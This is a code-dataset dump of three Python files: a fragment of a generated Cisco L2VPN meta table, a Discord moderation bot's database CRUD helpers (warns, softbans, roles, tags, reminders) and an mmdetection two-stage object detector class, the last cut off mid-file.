=_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpRemoteCookie']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpSecondaryLocalCookie']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpLocalCookie']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.MplsStaticLabels']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStatic']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions.MonitorSession']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds.PseudowireRouted']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits.AttachmentCircuit']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits']['meta_info'].parent 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true

f705108a187baf052d5db4933fed18471b99b3db

11,826

py

Python

utils/crud.py

DaQueenJodi/Kurisu

2a4e9010c862c2dcffb406d3596ed9a115533154

[ "Apache-2.0" ]

null

utils/crud.py

DaQueenJodi/Kurisu

2a4e9010c862c2dcffb406d3596ed9a115533154

[ "Apache-2.0" ]

null

utils/crud.py

DaQueenJodi/Kurisu

2a4e9010c862c2dcffb406d3596ed9a115533154

[ "Apache-2.0" ]

null

from . import models import datetime from discord import utils, TextChannel def generate_id(): return utils.time_snowflake(datetime.datetime.now()) async def add_permanent_role(user_id: int, role_id: int): await add_dbmember_if_not_exist(user_id) if not await models.PermanentRole.query.where((models.PermanentRole.user_id == user_id) & ( models.PermanentRole.role_id == role_id)).gino.first(): return await models.PermanentRole.create(user_id=user_id, role_id=role_id) async def remove_permanent_role(user_id: int, role_id: int): permanent_role = await models.PermanentRole.query.where((models.PermanentRole.user_id == user_id) & ( models.PermanentRole.role_id == role_id)).gino.first() if permanent_role: await permanent_role.delete() return permanent_role async def get_permanent_roles(user_id: int): db_member = await get_dbmember(user_id) if db_member: return await models.Role.query.where((models.Role.id == models.PermanentRole.role_id) & (models.PermanentRole.user_id == db_member.id)).gino.all() async def add_staff(user_id: int, position: str): await add_dbmember_if_not_exist(user_id) staff = await get_staff(user_id) or await get_helper(user_id) if staff: await staff.update(position=position).apply() else: await models.Staff.create(id=user_id, position=position) async def add_helper(user_id: int, position: str, console: str = None): await add_dbmember_if_not_exist(user_id) if staff := await get_staff(user_id): await staff.update(console=console).apply() else: await models.Staff.create(id=user_id, position=position, console=console) async def remove_staff(user_id: int): staff = await get_staff(user_id) if staff: if staff.console: await staff.update(position="Helper").apply() else: await staff.delete() async def remove_helper(user_id: int): helper = await get_helper(user_id) if helper: if helper.position != "Helper": await helper.update(console=None).apply() else: await helper.delete() async def get_staff_all(): return await models.Staff.query.where(models.Staff.position != 'Helper').gino.all() async def get_staff(user_id: int): return await models.Staff.query.where( (models.Staff.position != 'Helper') & (models.Staff.id == user_id)).gino.first() async def get_helpers(): return await models.Staff.query.where(models.Staff.console.isnot(None)).gino.all() async def get_helper(user_id: int): return await models.Staff.query.where(models.Staff.id == user_id).gino.first() async def add_warn(user_id: int, issuer_id: int, reason: str): await add_dbmember_if_not_exist(user_id) await add_dbmember_if_not_exist(issuer_id) await models.Warn.create(id=generate_id(), user=user_id, issuer=issuer_id, reason=reason) async def copy_warn(user_id: int, warn: models.Warn): await add_dbmember_if_not_exist(user_id) warn.id = utils.time_snowflake(utils.snowflake_time(warn.id) + datetime.timedelta(milliseconds=1)) while await get_warn(warn.id): warn.id = utils.time_snowflake(utils.snowflake_time(warn.id) + datetime.timedelta(milliseconds=1)) warn.user = user_id await warn.create() async def get_warn(warn_id: int): return await models.Warn.get(warn_id) async def get_warns(user_id: int): return await models.Warn.query.where(models.Warn.user == user_id).gino.all() async def remove_warn_id(user_id: int, index: int): warn = await models.Warn.query.where(models.Warn.user == user_id).offset(index - 1).gino.first() await warn.delete() async def remove_warns(user_id: int): n_warns = await (models.db.select([models.db.func.count()]).where(models.Warn.user == user_id).gino.scalar()) if n_warns: await models.Warn.delete.where(models.Warn.user == user_id).gino.status() return n_warns async def add_timed_restriction(user_id: int, end_date: datetime.datetime, type: str): await add_dbmember_if_not_exist(user_id) await models.TimedRestriction.create(id=generate_id(), user=user_id, type=type, end_date=end_date) async def get_time_restrictions_by_user(user_id: int): return await models.TimedRestriction.query.where(models.TimedRestriction.user == user_id).gino.all() async def get_time_restrictions_by_user_type(user_id: int, type: str): return await models.TimedRestriction.query.where((models.TimedRestriction.user == user_id) & ( models.TimedRestriction.type == type)).gino.first() async def get_time_restrictions_by_type(type: str): return await models.TimedRestriction.query.where(models.TimedRestriction.type == type).gino.all() async def remove_timed_restriction(user_id: int, type: str): time_restriction = await get_time_restrictions_by_user_type(user_id, type) if time_restriction: await time_restriction.delete() async def set_time_restriction_alert(user_id: int, type: str): time_restriction = await get_time_restrictions_by_user_type(user_id, type) if time_restriction: await time_restriction.update(alerted=True).apply() async def add_timed_role(user_id: int, role_id: int, expiring_date: datetime.datetime): await add_dbmember_if_not_exist(user_id) entry = await get_time_role_by_user_type(user_id, role_id) if not entry: return await models.TimedRole.create(id=generate_id(), user_id=user_id, role_id=role_id, expiring_date=expiring_date) await entry.update(expiring_date=expiring_date).apply() return entry async def remove_timed_role(user_id: int, role_id: int): timed_role = await get_time_role_by_user_type(user_id, role_id) if timed_role: await timed_role.delete() async def get_time_role_by_user_type(user_id: int, role_id: int): return await models.TimedRole.query.where( (models.TimedRole.user_id == user_id) & (models.TimedRole.role_id == role_id)).gino.first() async def get_timed_roles(): return await models.TimedRole.query.gino.all() async def add_flag(name: str): await models.Flag.create(name=name) async def get_flag(name: str): if flag := await models.Flag.get(name): return flag.value return None async def remove_flag(name: str): flag = await get_flag(name) if flag: await flag.delete() async def set_flag(name: str, value: bool): flag = await get_flag(name) if flag: await flag.update(value=value).apply() async def add_softban(user_id: int, issuer_id: int, reason: str): await add_dbmember_if_not_exist(user_id) await models.Softban.create(id=generate_id(), user=user_id, issuer=issuer_id, reason=reason) async def remove_softban(user_id: int): softban = await get_softban(user_id) if softban: await softban.delete() async def add_dbmember(user_id: int): return await models.Member.create(id=user_id) async def add_dbmember_if_not_exist(user_id: int): db_member = await get_dbmember(user_id) if not db_member: db_member = await add_dbmember(user_id) return db_member async def get_dbmember(user_id: int): return await models.Member.get(user_id) async def add_dbchannel(channel_id: int, name: str): return await models.Channel.create(id=channel_id, name=name) async def get_dbchannel(channel_id: int): return await models.Channel.get(channel_id) async def add_dbrole(role_id: int, name: str): return await models.Role.create(id=role_id, name=name) async def get_dbrole(role_id: int): return await models.Role.get(role_id) async def get_softban(user_id: int): return await models.Softban.query.where(models.Softban.user == user_id).gino.first() async def add_watch(user_id: int): db_member = await add_dbmember_if_not_exist(user_id) await db_member.update(watched=True).apply() async def remove_watch(user_id: int): db_member = await get_dbmember(user_id) if db_member: await db_member.update(watched=False).apply() async def is_watched(user_id: int): db_member = await get_dbmember(user_id) return db_member.watched if db_member else False async def add_nofilter(channel: TextChannel): db_channel = await get_dbchannel(channel.id) if not db_channel: db_channel = await add_dbchannel(channel.id, channel.name) await db_channel.update(nofilter=True).apply() async def remove_nofilter(channel: TextChannel): db_channel = await get_dbchannel(channel.id) if db_channel: await db_channel.update(nofilter=True).apply() async def check_nofilter(channel: TextChannel): channel = await models.Channel.get(channel.id) return channel.nofilter if channel else False async def add_friendcode_3ds(user_id: int, fc: int): await add_dbmember_if_not_exist(user_id) if fcs := await get_friendcode(user_id): await fcs.update(fc_3ds=fc).apply() return await models.FriendCode.create(id=user_id, fc_3ds=fc) async def add_friendcode_switch(user_id: int, fc: int): await add_dbmember_if_not_exist(user_id) if fcs := await get_friendcode(user_id): await fcs.update(fc_switch=fc).apply() return await models.FriendCode.create(id=user_id, fc_switch=fc) async def get_friendcode(user_id: int): return await models.FriendCode.get(user_id) async def delete_friendcode_3ds(user_id: int): friendcodes = await get_friendcode(user_id) if friendcodes: await friendcodes.update(fc_3ds=None).apply() if friendcodes.fc_3ds is None and friendcodes.fc_switch is None: await friendcodes.delete() async def delete_friendcode_switch(user_id: int): friendcodes = await get_friendcode(user_id) if friendcodes: await friendcodes.update(fc_switch=None).apply() if friendcodes.fc_3ds is None and friendcodes.fc_switch is None: await friendcodes.delete() async def add_rule(number: int, description: str): rule = await get_rule(number) if not rule: await models.Rule.create(id=number, description=description) async def edit_rule(number: int, description: str): rule = await get_rule(number) if rule: await rule.update(description=description).apply() async def delete_rule(number: int): rule = await get_rule(number) if rule: await rule.delete() async def get_rules(): return await models.Rule.query.order_by(models.Rule.id).gino.all() async def get_rule(number: int): return await models.Rule.get(number) async def add_reminder(date: datetime.datetime, author: int, reminder: str): await add_dbmember_if_not_exist(author) await models.RemindMeEntry.create(id=generate_id(), date=date, author=author, reminder=reminder) async def get_reminders() -> list[models.RemindMeEntry]: return await models.RemindMeEntry.query.order_by(models.RemindMeEntry.date).gino.all() async def remove_reminder(reminder_id: int): db_reminder = await models.RemindMeEntry.get(reminder_id) await db_reminder.delete() async def create_tag(title: str, content: str, author: int): await add_dbmember_if_not_exist(author) await models.Tag.create(id=generate_id(), title=title, content=content, author=author) async def get_tag(title: str) -> models.Tag: return await models.Tag.query.where(models.Tag.title == title).gino.first() async def get_tags() -> list[models.Tag]: return await models.Tag.query.order_by(models.Tag.id).gino.all() async def search_tags(query: str) -> list[models.Tag]: return await models.Tag.query.where(models.Tag.title.ilike(f"%{query}%")).limit(10).gino.all() async def delete_tag(title: str): db_tag = await get_tag(title) await db_tag.delete()

31.876011

154

0.726958

from . import models import datetime from discord import utils, TextChannel def generate_id(): return utils.time_snowflake(datetime.datetime.now()) async def add_permanent_role(user_id: int, role_id: int): await add_dbmember_if_not_exist(user_id) if not await models.PermanentRole.query.where((models.PermanentRole.user_id == user_id) & ( models.PermanentRole.role_id == role_id)).gino.first(): return await models.PermanentRole.create(user_id=user_id, role_id=role_id) async def remove_permanent_role(user_id: int, role_id: int): permanent_role = await models.PermanentRole.query.where((models.PermanentRole.user_id == user_id) & ( models.PermanentRole.role_id == role_id)).gino.first() if permanent_role: await permanent_role.delete() return permanent_role async def get_permanent_roles(user_id: int): db_member = await get_dbmember(user_id) if db_member: return await models.Role.query.where((models.Role.id == models.PermanentRole.role_id) & (models.PermanentRole.user_id == db_member.id)).gino.all() async def add_staff(user_id: int, position: str): await add_dbmember_if_not_exist(user_id) staff = await get_staff(user_id) or await get_helper(user_id) if staff: await staff.update(position=position).apply() else: await models.Staff.create(id=user_id, position=position) async def add_helper(user_id: int, position: str, console: str = None): await add_dbmember_if_not_exist(user_id) if staff := await get_staff(user_id): await staff.update(console=console).apply() else: await models.Staff.create(id=user_id, position=position, console=console) async def remove_staff(user_id: int): staff = await get_staff(user_id) if staff: if staff.console: await staff.update(position="Helper").apply() else: await staff.delete() async def remove_helper(user_id: int): helper = await get_helper(user_id) if helper: if helper.position != "Helper": await helper.update(console=None).apply() else: await helper.delete() async def get_staff_all(): return await models.Staff.query.where(models.Staff.position != 'Helper').gino.all() async def get_staff(user_id: int): return await models.Staff.query.where( (models.Staff.position != 'Helper') & (models.Staff.id == user_id)).gino.first() async def get_helpers(): return await models.Staff.query.where(models.Staff.console.isnot(None)).gino.all() async def get_helper(user_id: int): return await models.Staff.query.where(models.Staff.id == user_id).gino.first() async def add_warn(user_id: int, issuer_id: int, reason: str): await add_dbmember_if_not_exist(user_id) await add_dbmember_if_not_exist(issuer_id) await models.Warn.create(id=generate_id(), user=user_id, issuer=issuer_id, reason=reason) async def copy_warn(user_id: int, warn: models.Warn): await add_dbmember_if_not_exist(user_id) warn.id = utils.time_snowflake(utils.snowflake_time(warn.id) + datetime.timedelta(milliseconds=1)) while await get_warn(warn.id): warn.id = utils.time_snowflake(utils.snowflake_time(warn.id) + datetime.timedelta(milliseconds=1)) warn.user = user_id await warn.create() async def get_warn(warn_id: int): return await models.Warn.get(warn_id) async def get_warns(user_id: int): return await models.Warn.query.where(models.Warn.user == user_id).gino.all() async def remove_warn_id(user_id: int, index: int): warn = await models.Warn.query.where(models.Warn.user == user_id).offset(index - 1).gino.first() await warn.delete() async def remove_warns(user_id: int): n_warns = await (models.db.select([models.db.func.count()]).where(models.Warn.user == user_id).gino.scalar()) if n_warns: await models.Warn.delete.where(models.Warn.user == user_id).gino.status() return n_warns async def add_timed_restriction(user_id: int, end_date: datetime.datetime, type: str): await add_dbmember_if_not_exist(user_id) await models.TimedRestriction.create(id=generate_id(), user=user_id, type=type, end_date=end_date) async def get_time_restrictions_by_user(user_id: int): return await models.TimedRestriction.query.where(models.TimedRestriction.user == user_id).gino.all() async def get_time_restrictions_by_user_type(user_id: int, type: str): return await models.TimedRestriction.query.where((models.TimedRestriction.user == user_id) & ( models.TimedRestriction.type == type)).gino.first() async def get_time_restrictions_by_type(type: str): return await models.TimedRestriction.query.where(models.TimedRestriction.type == type).gino.all() async def remove_timed_restriction(user_id: int, type: str): time_restriction = await get_time_restrictions_by_user_type(user_id, type) if time_restriction: await time_restriction.delete() async def set_time_restriction_alert(user_id: int, type: str): time_restriction = await get_time_restrictions_by_user_type(user_id, type) if time_restriction: await time_restriction.update(alerted=True).apply() async def add_timed_role(user_id: int, role_id: int, expiring_date: datetime.datetime): await add_dbmember_if_not_exist(user_id) entry = await get_time_role_by_user_type(user_id, role_id) if not entry: return await models.TimedRole.create(id=generate_id(), user_id=user_id, role_id=role_id, expiring_date=expiring_date) await entry.update(expiring_date=expiring_date).apply() return entry async def remove_timed_role(user_id: int, role_id: int): timed_role = await get_time_role_by_user_type(user_id, role_id) if timed_role: await timed_role.delete() async def get_time_role_by_user_type(user_id: int, role_id: int): return await models.TimedRole.query.where( (models.TimedRole.user_id == user_id) & (models.TimedRole.role_id == role_id)).gino.first() async def get_timed_roles(): return await models.TimedRole.query.gino.all() async def add_flag(name: str): await models.Flag.create(name=name) async def get_flag(name: str): if flag := await models.Flag.get(name): return flag.value return None async def remove_flag(name: str): flag = await get_flag(name) if flag: await flag.delete() async def set_flag(name: str, value: bool): flag = await get_flag(name) if flag: await flag.update(value=value).apply() async def add_softban(user_id: int, issuer_id: int, reason: str): await add_dbmember_if_not_exist(user_id) await models.Softban.create(id=generate_id(), user=user_id, issuer=issuer_id, reason=reason) async def remove_softban(user_id: int): softban = await get_softban(user_id) if softban: await softban.delete() async def add_dbmember(user_id: int): return await models.Member.create(id=user_id) async def add_dbmember_if_not_exist(user_id: int): db_member = await get_dbmember(user_id) if not db_member: db_member = await add_dbmember(user_id) return db_member async def get_dbmember(user_id: int): return await models.Member.get(user_id) async def add_dbchannel(channel_id: int, name: str): return await models.Channel.create(id=channel_id, name=name) async def get_dbchannel(channel_id: int): return await models.Channel.get(channel_id) async def add_dbrole(role_id: int, name: str): return await models.Role.create(id=role_id, name=name) async def get_dbrole(role_id: int): return await models.Role.get(role_id) async def get_softban(user_id: int): return await models.Softban.query.where(models.Softban.user == user_id).gino.first() async def add_watch(user_id: int): db_member = await add_dbmember_if_not_exist(user_id) await db_member.update(watched=True).apply() async def remove_watch(user_id: int): db_member = await get_dbmember(user_id) if db_member: await db_member.update(watched=False).apply() async def is_watched(user_id: int): db_member = await get_dbmember(user_id) return db_member.watched if db_member else False async def add_nofilter(channel: TextChannel): db_channel = await get_dbchannel(channel.id) if not db_channel: db_channel = await add_dbchannel(channel.id, channel.name) await db_channel.update(nofilter=True).apply() async def remove_nofilter(channel: TextChannel): db_channel = await get_dbchannel(channel.id) if db_channel: await db_channel.update(nofilter=True).apply() async def check_nofilter(channel: TextChannel): channel = await models.Channel.get(channel.id) return channel.nofilter if channel else False async def add_friendcode_3ds(user_id: int, fc: int): await add_dbmember_if_not_exist(user_id) if fcs := await get_friendcode(user_id): await fcs.update(fc_3ds=fc).apply() return await models.FriendCode.create(id=user_id, fc_3ds=fc) async def add_friendcode_switch(user_id: int, fc: int): await add_dbmember_if_not_exist(user_id) if fcs := await get_friendcode(user_id): await fcs.update(fc_switch=fc).apply() return await models.FriendCode.create(id=user_id, fc_switch=fc) async def get_friendcode(user_id: int): return await models.FriendCode.get(user_id) async def delete_friendcode_3ds(user_id: int): friendcodes = await get_friendcode(user_id) if friendcodes: await friendcodes.update(fc_3ds=None).apply() if friendcodes.fc_3ds is None and friendcodes.fc_switch is None: await friendcodes.delete() async def delete_friendcode_switch(user_id: int): friendcodes = await get_friendcode(user_id) if friendcodes: await friendcodes.update(fc_switch=None).apply() if friendcodes.fc_3ds is None and friendcodes.fc_switch is None: await friendcodes.delete() async def add_rule(number: int, description: str): rule = await get_rule(number) if not rule: await models.Rule.create(id=number, description=description) async def edit_rule(number: int, description: str): rule = await get_rule(number) if rule: await rule.update(description=description).apply() async def delete_rule(number: int): rule = await get_rule(number) if rule: await rule.delete() async def get_rules(): return await models.Rule.query.order_by(models.Rule.id).gino.all() async def get_rule(number: int): return await models.Rule.get(number) async def add_reminder(date: datetime.datetime, author: int, reminder: str): await add_dbmember_if_not_exist(author) await models.RemindMeEntry.create(id=generate_id(), date=date, author=author, reminder=reminder) async def get_reminders() -> list[models.RemindMeEntry]: return await models.RemindMeEntry.query.order_by(models.RemindMeEntry.date).gino.all() async def remove_reminder(reminder_id: int): db_reminder = await models.RemindMeEntry.get(reminder_id) await db_reminder.delete() async def create_tag(title: str, content: str, author: int): await add_dbmember_if_not_exist(author) await models.Tag.create(id=generate_id(), title=title, content=content, author=author) async def get_tag(title: str) -> models.Tag: return await models.Tag.query.where(models.Tag.title == title).gino.first() async def get_tags() -> list[models.Tag]: return await models.Tag.query.order_by(models.Tag.id).gino.all() async def search_tags(query: str) -> list[models.Tag]: return await models.Tag.query.where(models.Tag.title.ilike(f"%{query}%")).limit(10).gino.all() async def delete_tag(title: str): db_tag = await get_tag(title) await db_tag.delete()

true

f70510cecaf633bc140f5d0280b6040db7788e73

9,585

py

Python

bdd_mtl/mmdet/models/detectors/two_stage.py

XDong18/bdd-mtl

90459c090a2bc4a89a929740e5cf5d37c1b34a4b

[ "BSD-3-Clause" ]

79

2020-04-23T04:39:00.000Z

2022-03-08T09:50:09.000Z

mmdet/models/detectors/two_stage_ori.py

xyldmc/siamese-mask-rcnn_mmdetection

999e5bfcbd3c493bf69b8556c40eb26c9feeb459

[ "Apache-2.0" ]

3

2021-11-04T20:39:52.000Z

2022-03-10T20:29:47.000Z

mmdet/models/detectors/two_stage_ori.py

ducminhkhoi/FAPIS

c89703006a2a5250f4d1c71e0aad958d72526885

[ "Apache-2.0" ]

29

2020-04-23T07:49:15.000Z

2022-03-26T11:48:53.000Z

import torch import torch.nn as nn from .base import BaseDetector from .test_mixins import RPNTestMixin, BBoxTestMixin, MaskTestMixin from .. import builder from ..registry import DETECTORS from mmdet.core import bbox2roi, bbox2result, build_assigner, build_sampler @DETECTORS.register_module class TwoStageDetector(BaseDetector, RPNTestMixin, BBoxTestMixin, MaskTestMixin): def __init__(self, backbone, neck=None, shared_head=None, rpn_head=None, bbox_roi_extractor=None, bbox_head=None, mask_roi_extractor=None, mask_head=None, train_cfg=None, test_cfg=None, pretrained=None): super(TwoStageDetector, self).__init__() self.backbone = builder.build_backbone(backbone) if neck is not None: self.neck = builder.build_neck(neck) if shared_head is not None: self.shared_head = builder.build_shared_head(shared_head) if rpn_head is not None: self.rpn_head = builder.build_head(rpn_head) if bbox_head is not None: self.bbox_roi_extractor = builder.build_roi_extractor( bbox_roi_extractor) self.bbox_head = builder.build_head(bbox_head) if mask_head is not None: if mask_roi_extractor is not None: self.mask_roi_extractor = builder.build_roi_extractor( mask_roi_extractor) self.share_roi_extractor = False else: self.share_roi_extractor = True self.mask_roi_extractor = self.bbox_roi_extractor self.mask_head = builder.build_head(mask_head) self.train_cfg = train_cfg self.test_cfg = test_cfg self.init_weights(pretrained=pretrained) @property def with_rpn(self): return hasattr(self, 'rpn_head') and self.rpn_head is not None def init_weights(self, pretrained=None): super(TwoStageDetector, self).init_weights(pretrained) self.backbone.init_weights(pretrained=pretrained) if self.with_neck: if isinstance(self.neck, nn.Sequential): for m in self.neck: m.init_weights() else: self.neck.init_weights() if self.with_shared_head: self.shared_head.init_weights(pretrained=pretrained) if self.with_rpn: self.rpn_head.init_weights() if self.with_bbox: self.bbox_roi_extractor.init_weights() self.bbox_head.init_weights() if self.with_mask: self.mask_head.init_weights() if not self.share_roi_extractor: self.mask_roi_extractor.init_weights() def extract_feat(self, img): x = self.backbone(img) if self.with_neck: x = self.neck(x) return x def forward_train(self, img, img_meta, gt_bboxes, gt_labels, gt_bboxes_ignore=None, gt_masks=None, proposals=None): x = self.extract_feat(img) losses = dict() # RPN forward and loss if self.with_rpn: rpn_outs = self.rpn_head(x) rpn_loss_inputs = rpn_outs + (gt_bboxes, img_meta, self.train_cfg.rpn) rpn_losses = self.rpn_head.loss( *rpn_loss_inputs, gt_bboxes_ignore=gt_bboxes_ignore) losses.update(rpn_losses) proposal_cfg = self.train_cfg.get('rpn_proposal', self.test_cfg.rpn) proposal_inputs = rpn_outs + (img_meta, proposal_cfg) proposal_list = self.rpn_head.get_bboxes(*proposal_inputs) else: proposal_list = proposals # assign gts and sample proposals if self.with_bbox or self.with_mask: bbox_assigner = build_assigner(self.train_cfg.rcnn.assigner) bbox_sampler = build_sampler( self.train_cfg.rcnn.sampler, context=self) num_imgs = img.size(0) if gt_bboxes_ignore is None: gt_bboxes_ignore = [None for _ in range(num_imgs)] sampling_results = [] for i in range(num_imgs): assign_result = bbox_assigner.assign(proposal_list[i], gt_bboxes[i], gt_bboxes_ignore[i], gt_labels[i]) sampling_result = bbox_sampler.sample( assign_result, proposal_list[i], gt_bboxes[i], gt_labels[i], feats=[lvl_feat[i][None] for lvl_feat in x]) sampling_results.append(sampling_result) # bbox head forward and loss if self.with_bbox: rois = bbox2roi([res.bboxes for res in sampling_results]) # TODO: a more flexible way to decide which feature maps to use bbox_feats = self.bbox_roi_extractor( x[:self.bbox_roi_extractor.num_inputs], rois) if self.with_shared_head: bbox_feats = self.shared_head(bbox_feats) cls_score, bbox_pred = self.bbox_head(bbox_feats) bbox_targets = self.bbox_head.get_target(sampling_results, gt_bboxes, gt_labels, self.train_cfg.rcnn) loss_bbox = self.bbox_head.loss(cls_score, bbox_pred, *bbox_targets) losses.update(loss_bbox) # mask head forward and loss if self.with_mask: if not self.share_roi_extractor: pos_rois = bbox2roi( [res.pos_bboxes for res in sampling_results]) mask_feats = self.mask_roi_extractor( x[:self.mask_roi_extractor.num_inputs], pos_rois) if self.with_shared_head: mask_feats = self.shared_head(mask_feats) else: pos_inds = [] device = bbox_feats.device for res in sampling_results: pos_inds.append( torch.ones( res.pos_bboxes.shape[0], device=device, dtype=torch.uint8)) pos_inds.append( torch.zeros( res.neg_bboxes.shape[0], device=device, dtype=torch.uint8)) pos_inds = torch.cat(pos_inds) mask_feats = bbox_feats[pos_inds] mask_pred = self.mask_head(mask_feats) mask_targets = self.mask_head.get_target(sampling_results, gt_masks, self.train_cfg.rcnn) pos_labels = torch.cat( [res.pos_gt_labels for res in sampling_results]) loss_mask = self.mask_head.loss(mask_pred, mask_targets, pos_labels) losses.update(loss_mask) return losses def simple_test(self, img, img_meta, proposals=None, rescale=False): """Test without augmentation.""" assert self.with_bbox, "Bbox head must be implemented." x = self.extract_feat(img) proposal_list = self.simple_test_rpn( x, img_meta, self.test_cfg.rpn) if proposals is None else proposals det_bboxes, det_labels = self.simple_test_bboxes( x, img_meta, proposal_list, self.test_cfg.rcnn, rescale=rescale) bbox_results = bbox2result(det_bboxes, det_labels, self.bbox_head.num_classes) if not self.with_mask: return bbox_results else: segm_results = self.simple_test_mask( x, img_meta, det_bboxes, det_labels, rescale=rescale) return bbox_results, segm_results def aug_test(self, imgs, img_metas, rescale=False): """Test with augmentations. If rescale is False, then returned bboxes and masks will fit the scale of imgs[0]. """ # recompute feats to save memory proposal_list = self.aug_test_rpn( self.extract_feats(imgs), img_metas, self.test_cfg.rpn) det_bboxes, det_labels = self.aug_test_bboxes( self.extract_feats(imgs), img_metas, proposal_list, self.test_cfg.rcnn) if rescale: _det_bboxes = det_bboxes else: _det_bboxes = det_bboxes.clone() _det_bboxes[:, :4] *= img_metas[0][0]['scale_factor'] bbox_results = bbox2result(_det_bboxes, det_labels, self.bbox_head.num_classes) # det_bboxes always keep the original scale if self.with_mask: segm_results = self.aug_test_mask( self.extract_feats(imgs), img_metas, det_bboxes, det_labels) return bbox_results, segm_results else: return bbox_results

39.282787

79

0.549609

import torch import torch.nn as nn from .base import BaseDetector from .test_mixins import RPNTestMixin, BBoxTestMixin, MaskTestMixin from .. import builder from ..registry import DETECTORS from mmdet.core import bbox2roi, bbox2result, build_assigner, build_sampler @DETECTORS.register_module class TwoStageDetector(BaseDetector, RPNTestMixin, BBoxTestMixin, MaskTestMixin): def __init__(self, backbone, neck=None, shared_head=None, rpn_head=None, bbox_roi_extractor=None, bbox_head=None, mask_roi_extractor=None, mask_head=None, train_cfg=None, test_cfg=None, pretrained=None): super(TwoStageDetector, self).__init__() self.backbone = builder.build_backbone(backbone) if neck is not None: self.neck = builder.build_neck(neck) if shared_head is not None: self.shared_head = builder.build_shared_head(shared_head) if rpn_head is not None: self.rpn_head = builder.build_head(rpn_head) if bbox_head is not None: self.bbox_roi_extractor = builder.build_roi_extractor( bbox_roi_extractor) self.bbox_head = builder.build_head(bbox_head) if mask_head is not None: if mask_roi_extractor is not None: self.mask_roi_extractor = builder.build_roi_extractor( mask_roi_extractor) self.share_roi_extractor = False else: self.share_roi_extractor = True self.mask_roi_extractor = self.bbox_roi_extractor self.mask_head = builder.build_head(mask_head) self.train_cfg = train_cfg self.test_cfg = test_cfg self.init_weights(pretrained=pretrained) @property def with_rpn(self): return hasattr(self, 'rpn_head') and self.rpn_head is not None def init_weights(self, pretrained=None): super(TwoStageDetector, self).init_weights(pretrained) self.backbone.init_weights(pretrained=pretrained) if self.with_neck: if isinstance(self.neck, nn.Sequential): for m in self.neck: m.init_weights() else: self.neck.init_weights() if self.with_shared_head: self.shared_head.init_weights(pretrained=pretrained) if self.with_rpn: self.rpn_head.init_weights() if self.with_bbox: self.bbox_roi_extractor.init_weights() 